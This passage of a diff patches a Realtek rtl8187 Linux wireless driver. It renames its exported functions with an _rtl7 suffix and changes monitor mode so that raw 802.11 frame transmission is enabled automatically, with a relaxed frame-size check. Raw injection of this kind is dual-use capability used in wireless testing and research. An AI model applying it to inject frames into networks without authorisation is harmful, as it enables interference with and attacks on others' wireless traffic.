down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 